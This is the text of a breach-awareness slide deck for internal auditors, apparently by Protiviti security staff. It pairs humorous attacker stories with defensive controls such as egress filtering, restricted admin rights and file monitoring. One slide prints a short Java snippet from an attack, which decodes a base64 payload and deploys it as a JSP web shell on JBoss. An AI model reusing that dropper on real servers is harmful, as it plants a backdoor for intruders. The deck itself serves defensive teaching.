Agenda

• Introduction
• Story Time
• Reducing Headlines
• Q&A
Introduction – Who We Are

• Protiviti
• IT Security Services
• Jeff Sanchez, Managing Director
• Adam Brand, Senior Manager
Introduction – Why Should IA Care about Breaches?

• Understand the risk
• Insight into systemic issues
• Potential financial impact
Story Time: The Four Horsemen

Ivan & Co.
Credit Card Thieves

Digital D0gs
Defacers

The Bad Sh3pherds
Botnet Herders

Red Team 3
Corporate Secrets Thieves
Story Time: Ivan & Co. – Credit Card Thieves

Y U SO MAD?
RELAX, I'M JUST A CREEPY MODEL.
Story Time: Ivan & Co. – The Source
Story Time: Ivan & Co. – The Malware

Haha Stole Your Card!

Encrypt the card; must be PCI compliant!

Now I send it to me... thx bai!
Story Time: Ivan & Co. – The Scope
Story Time: Ivan & Co. – The Agent

I am your typical cybercrime agent.
Story Time: Ivan & Co. – The Resolution

Yay…free credit monitoring!

I get a free prison tattoo.
Story Time: Digital D0gs – Awesome Web Designers

HaCked By Digital D0gs

Down with Israel

We Are: Digital D0gs & Jonny aka wazzup? & ZC
Root@pwnedu & TooKewl-

We Are Top Hackers

pwned_u_hard@live.com

Greetz: Other L33t Muslim Hackers
Story Time: Digital D0gs – The Resolution

This new design is actually cleaner and loads faster!
Story Time: The Bad Sh3pherds – Botnet Herders

ALL YOUR SERVER
ARE BELONG TO ME AND WHOEVER I RENT THEM TO.

DIY.DESPAIR.COM
Story Time: The Bad Sh3pherds – Oldie But Goodie

```java
BASE64Decoder decoder = new BASE64Decoder();
String jboss_home = System.getProperty("jboss.server.home.dir");
new File(jboss_home + "/deploy/xi05Yp1e.war").mkdir();
byte[] bytевal = decoder.decodeBuffer(val);
String jsp_file = jboss_home + "/deploy/xi05Yp1e.war/6r9T2ZkZG.jsp";
FileOutputStream fstream = new FileOutputStream(jsp_file);
fstream.write(bytевal);
fstream.close();
```
Story Time: The Bad Sh3pherds – The Resolution

Ah: rebuild, patch, done.

FORGOT TO SPREAD TO ALL SERVERS

ONE LESS DATACENTER IN BOTNET
Story Time: Red Team 3 – Corporate Secrets Thieves

DEAR EMPLOYEES
CLICK THIS LINK. LOVE, YOUR CEO.
Story Time: Red Team 3 – The Source

We “heard” you were hacked.
Story Time: Red Team 3 – The Malware

If I keep installing malware…

I can be advanced and persistent!
Story Time: Red Team 3 – The Secrets

That IS the droid

they were looking for!
Story Time: Red Team 3 – The Resolution

Lucky, smart...who cares?
I still got the girl.

If only I wasn’t so incompetent...
I could steal secrets faster.
Reducing Headlines: Overview

• Breaches are inevitable – make sure there is a plan!
• Reduce headlines by reducing impact
• Reduce duration and impact with a few key controls
  – Limit Outbound Internet
  – No user “administrators”
  – Implement File Monitoring
Reducing Headlines: Limit Outbound Internet Traffic

• No Internet without a proxy!
• Turn off “Uncategorized Sites” (whitelist approach)
• Servers = very limited outbound access

Limit the attacker’s options for command and control of their malware.
Reducing Headlines: No user “administrators”

- End users = guaranteed win
- Heavily restrict end user machine admin rights
- Users should not install software

Many favorite attacker programs require local admin rights to run.
Reducing Headlines: Implement File Monitoring

• Don’t rely on anti-virus alone
• Often malware places files in Windows system folders
• Follow up on alerts

Many attackers download files during their attack that should raise suspicion.
Closing Thought: Get Involved

Internal Audit has a role to play with breach prevention, response, and remediation – it’s time to bridge the gap.
Q&A
Contact Information:

Jeffrey Sanchez
Managing Director
Security & Privacy Services
Phone: (213) 327-1433
jeffrey.sanchez@protiviti.com

Adam Brand
Senior Manager
Security & Privacy Services
Phone: (213) 260-4660
adam.brand@protiviti.com